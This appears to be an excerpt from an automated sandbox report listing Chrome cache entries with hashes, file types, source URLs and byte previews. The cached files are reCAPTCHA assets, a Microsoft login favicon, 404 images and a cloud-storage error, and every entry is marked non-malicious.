SSDEEP:	12:TM3iu5veHcwUUDmQ6VgAUeb/XOaGUPWTR3Rbv:qV5jwN6+AUeb/++IRhL
MD5:	35A710D3C39F972D8585510783FE6B44
SHA1:	B65F67BB918C30E37318F9B2402DF88F715B4B2E
SHA-256:	F05318595E8C6A6655843398E47AF72C4EB116A756FFA01F75F1B09AAE2CA245
SHA-512:	35720EA9F87BE7458E3F57CF23054F8A093080431C8A677CBA544E49F1D8377A33E358AF2D1FD7052F54905DF9077F076D2C194A985F45C06FB226191555AD17
Malicious:	false
Reputation:	low
URL:	https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/favicon.ico
Preview:	<?xml version='1.0' encoding='utf-8' ?>.<Error>..<Code>NoSuchKey</Code>..<Message>The specified key does not exist.</Message>..<Resource>/favicon.ico</Resource>..<RequestId>NjVmNDQ2MmZfNzk0ZjU5MGJfYTI2YV82MDQ4YmRi</RequestId>..<TraceId>OGVmYzZiMmQzYjA2OWNhODk0NTRkMTBiOWVmMDAxODc0OWRkZjk0ZDM1NmI1M2E2MTRlY2MzZDhmNmI5MWI1OTVlNGMxNDIzNDk3MzBjZDllZGY1MzE5MTM5N2ZmOTE4YWRmYWFlOTAxZWZhNDY4NzIyYTZlMDI3ZTk0YWU4MjE=</TraceId>.</Error>..

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/info_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	dropped
Size (bytes):	24096
Entropy (8bit):	7.939997804484348
Encrypted:	false
SSDEEP:	384:eAYEX0/uK/lk/XbPY+kP4s3L/YKwqlXDVcsLfTFt/qpUoE2QQB1vCWpdeOJ2U:eIkGK9k/bDs3FBTFt/i9LX1vvP2U
MD5:	FDE0495BDFD8E9A64019C1BCD545D511
SHA1:	357DF2EB047A5AC056FA0C84BB9F6B8A7515773F
SHA-256:	3F33E0434108B5C7CB9F9A8E7546A9478B78E8C9F900725A62F8D761699CAF5E
SHA-512:	EACB9E0FE18713EE9C79B253E6792E3098FD5797983BFE4EA0A6E41F0C34C267570012AFFBF2898466C699CED9E1E5E081C4FD40EF63F8176D9FE35EEEB543F8
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..:.(..fbQKE!.A..P.Q.R..7.S.F(..b...i.ph.>..............I......Y....,..G'.....=M.(..?.1...=....<...~x.x..\}...........X..(..5/...s.b....?E.........h.be......c.i.J..\|.~)..w.a..[i...C........9#......8..*.......x@.......3X....Rstu....O....0.4......?..........\|U.\|...8.E.X.C5T.....m....o..K'.Z......6..g....`6.:SV..>)..Z.{^..O,....k_.....J.}.?.5.g...F.g

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	dropped
Size (bytes):	34321
Entropy (8bit):	7.971256078099319
Encrypted:	false
SSDEEP:	768:e04Gq8MymI/1Sqw3A9F4DQFl3p0YpF0qauzo/ViqjSDB:e0BEyFbwOF48nZvVzoQqjqB
MD5:	3B98D4FA36231BE60DC269C3C344009A
SHA1:	BD18AFB28AD114616EFEF19442336B5CD5EF1583
SHA-256:	CE18D818E1F95D154B34EE11BAE13F6F794E7C7D6481E20C11725FC419F97C2E
SHA-512:	761B608E37A5860FA4A9BC58DD4106469ABE0B70CAA174A5EEF8F77DAE2561F95CE4A76046C28E801138F6EC6F298111D75CDCC8D3053652426D37CC6484C405
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...ol........h....g..A!....OK}C]..q/+}...~.......Y].;T.....g......{..Z1.5..Z.;k...F...V...........m.*=&.n..t..q.[..j(..jz....u.^q',.r...s....(...B.}..Y..UV(xc....to...K2)..f..$.M..<..W.&..c...[.xc.Wx]..LWY...M.0..5c...=+'[..Y..F#..q....5`.m..S.W.0EsZ.....G....]..Od..(`..5..?>....b.....(.x..QuW.\|+.[la..P.W9..=.A..lt.H`.C..bT.k.\|A....xv....K}BS..a.n=.....T..o

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	downloaded
Size (bytes):	1222
Entropy (8bit):	5.81829967521751
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCLTLv138EgFB5vtTGJTlWt9kZ1JcsLqo40RWUnYN:VKEctKonR3evtTA8cZ1vLrwUnG
MD5:	25D0879D58FDB2358F3974EE83B6AD94
SHA1:	1D05C7EE5583E650B4F3CD579199DF45B9FB0C0E
SHA-256:	901B41B83078F3EF96F9C2FD34AA1B563D933ACF87C00143EB2AA7F2343E3125
SHA-512:	5BB507AC6821DCD8AA3E8089CCB98B837D7801A0CFBFE6D5D24327FC14D415978DABB0478089865099936BEB91D5F6CF3CF3CB94C85FCE7F6F9645C6D18BC97A
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-7n6vgomA6WpD0Uc3Ek9C0sERdLyOSaXD3g9lKz96

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	low
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	downloaded
Size (bytes):	24096
Entropy (8bit):	7.939997804484348
Encrypted:	false
SSDEEP:	384:eAYEX0/uK/lk/XbPY+kP4s3L/YKwqlXDVcsLfTFt/qpUoE2QQB1vCWpdeOJ2U:eIkGK9k/bDs3FBTFt/i9LX1vvP2U
MD5:	FDE0495BDFD8E9A64019C1BCD545D511
SHA1:	357DF2EB047A5AC056FA0C84BB9F6B8A7515773F
SHA-256:	3F33E0434108B5C7CB9F9A8E7546A9478B78E8C9F900725A62F8D761699CAF5E
SHA-512:	EACB9E0FE18713EE9C79B253E6792E3098FD5797983BFE4EA0A6E41F0C34C267570012AFFBF2898466C699CED9E1E5E081C4FD40EF63F8176D9FE35EEEB543F8
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5jjbmJOVjgho_5e1jWnVV-oQw3meDbcEFKXcZhEv4f7mveZl2oHT5bwlhR7jzGWXdDkSdk2G-Qb0wY27mQ15Zd4SXM9EnKFc2Pex7Z5IVZgjuId-oVQrBH1b2yaqHYZnQLWWr_kc6J5zoVuG3jkRb7FiGqzMX5abhQygS5hOzv17Lutr6Y6sG7mSvDg_gyx8EkS-qTui8GrFLUobBSf7jTWSJ8Jg&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=41a4f21ecb783bb3
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..:.(..fbQKE!.A..P.Q.R..7.S.F(..b...i.ph.>..............I......Y....,..G'.....=M.(..?.1...=....<...~x.x..\}...........X..(..5/...s.b....?E.........h.be......c.i.J..\|.~)..w.a..[i...C........9#......8..*.......x@.......3X....Rstu....O....0.4......?..........\|U.\|...8.E.X.C5T.....m....o..K'.Z......6..g....`6.:SV..>)..Z.{^..O,....k_.....J.}.?.5.g...F.g

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 868 x 4
Category:	downloaded
Size (bytes):	120
Entropy (8bit):	6.060493667147718
Encrypted:	false
SSDEEP:	3:CcnebN95vXG5Z1CK/7kCfrpvsdhyt86psoPHHn:tQG5Z1Dn+Wy6pseH
MD5:	DC8055F43FBB4A4B6DFB298EC35188F2
SHA1:	1FFC540743DE1CDB929D9D1218978005141E8D9D
SHA-256:	B857737891B84293B3DF526B48CE3D54FDCC5789C250EADFF9DD38E3C2C68CAF
SHA-512:	2CC173EFBA132E4352582F000F226E86A9A898B8A3AC1BA9633B2F19838B618EE3047555928E5258CC97E514D6F96ADF86391F7C6104288F1A61543E93B13518
Malicious:	false
Reputation:	low
URL:	https://smsfrica.com/cgi-sys/images/404mid.gif
Preview:	GIF89ad.................!.......,....d.....I...............H....................D..VL*.....J.T..P.j......-...;

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	downloaded
Size (bytes):	1222
Entropy (8bit):	5.81829967521751
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCLTLv138EgFB5vtTGJTlWt9kZ1JcsLqo40RWUnYN:VKEctKonR3evtTA8cZ1vLrwUnG
MD5:	25D0879D58FDB2358F3974EE83B6AD94
SHA1:	1D05C7EE5583E650B4F3CD579199DF45B9FB0C0E
SHA-256:	901B41B83078F3EF96F9C2FD34AA1B563D933ACF87C00143EB2AA7F2343E3125
SHA-512:	5BB507AC6821DCD8AA3E8089CCB98B837D7801A0CFBFE6D5D24327FC14D415978DABB0478089865099936BEB91D5F6CF3CF3CB94C85FCE7F6F9645C6D18BC97A
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-7n6vgomA6WpD0Uc3Ek9C0sERdLyOSaXD3g9lKz96

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	33621
Entropy (8bit):	7.96906372787092
Encrypted:	false
SSDEEP:	768:a/5dNdneARZQYUIfnSa4+QbwXYYQGdoYVrTJ3hvvuV:axdNdeARDUc3DYwIYdvs
MD5:	39BA3FB5FBFD66B6D002AA6274D5FB93
SHA1:	F168A6B0A9A5A5FCE257EF76B1392533B4C1E8BC
SHA-256:	7C312200B96475B0A8BBA74EA64A2CFD1A6F78D7692EF27C59C6CEED119E8B92
SHA-512:	02CDE3C41C7A645FC9A2F46FFC1C4E8341105D96B3CCE0436CFEFC7BCD8B07A2E6CB91432A1879798FCA25B153A67946CACAD7E3B3C5BDB9B8A7F60482938871
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..i.4..wR...l..Ptw@.eL..GO..'...U..nme...kX.a.L..Q.@..G.J]O!.....5....S.7e.-..-.....A...M<+4...tt..."...Ux.......k....Y.x[R....k.....-...y..]ZFU.F..y..].-?K..Im.;][.{..3.3...py9<..y...P....}.W.w1^.x.2....$...8..+kv2Y.).~......B....[....>....R.a..)./0e.;Y.@a.o....J7.=...}r'.4H.W..v.ar.:.[..._..........'8...J.fYa[......$m.I..I......A4...Ts.w#..jQ.........;

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56398), with no line terminators
Category:	downloaded
Size (bytes):	56398
Entropy (8bit):	5.907604034780877
Encrypted:	false
SSDEEP:	768:+LUmmAWTe2uXYp8Mi+yKYlebyB5lxRx54PHSGdXXwW7MFWwXVuE2:4UcW6v+0B5chXwW49z2
MD5:	EB4BC511F79F7A1573B45F5775B3A99B
SHA1:	D910FB51AD7316AA54F055079374574698E74B35
SHA-256:	7859A62E04B0ACB06516EB12454DE6673883ECFAEAED6C254659BCA7CD59C050
SHA-512:	EC9BDF1C91B6262B183FD23F640EAC22016D1F42DB631380676ED34B962E01BADDA91F9CBDFA189B42FE3182A992F1B95A7353AF41E41B2D6E1DAB17E87637A0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexI

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 868 x 14
Category:	downloaded
Size (bytes):	537
Entropy (8bit):	6.848296452361371
Encrypted:	false
SSDEEP:	12:BDGHgnth2eq8ExIFDW+ax8+RorOwL+8Cu2uPhNWnyRmK3Fd7HRa:lGHith7rEAW+a0W8GChUnyRmoy
MD5:	54EB288427ACF79ED320EFD4916FE0B7
SHA1:	67BA813FF74D52035D70FCDA58B57563F01FB829
SHA-256:	70E4A5F9F7D98C1564B17ECC69196FED4F74FE5AFB2C61B4FB7045DD3309DC4F
SHA-512:	C7C00A268ADA15FC6B19F64860DD5CE92FA69E6B64E2D7B3ADA02B74E6CC3C4EB4466BBA443752A76F4EE908FA93F3683C6256F7A473B05C86ECAEBBCAC125E1
Malicious:	false
Reputation:	low
URL:	https://smsfrica.com/cgi-sys/images/404bottom.gif
Preview:	GIF89ad......6e............\|.....m.....\.......Nw................X..s........d.................{..~.....k.....c..Y......................................................................................!.......,....d......@.AB,...r.l:..tJ.Z..v..z..xL....z]T...\|N.....~.....OnB.............Un.............S......................................f..............D.........f..............D.#p.........E......H...2..............@....#..... C..I...(S.\...0c.I...8s.....6.*.d.......(ph.DC...8..Z...X.j....`..K...S9X Q"I..;

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17279)
Category:	downloaded
Size (bytes):	17874
Entropy (8bit):	5.603523333319609
Encrypted:	false
SSDEEP:	384:C3cS+Wu32Ctp/9e8cPNceA3rnry8TicCF6keaekGO584R95:2o7GE/EdFEesVaehv4R95
MD5:	24611E146190210F2F18B73A4970BD62
SHA1:	9BE6EC88A3B8C548C7CCF3494A5FB390D943C179
SHA-256:	69CCD4638463A2808E26176E4863A0648A6D494AB431CC607284CF41E3AEA422
SHA-512:	092AD0B0CCF826D0A7DB55D9ABB91C87BCA773271ABC5E12DDD0A7BA1880DE07E9672155ACD083138DA18285D52C74DC8AF8FAA1AEC9FDD92B9711B67BAF7C4D
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/aczUY4RjooCOJhduSGOgZIptSUq0McxgcoTPQeOupCI.js
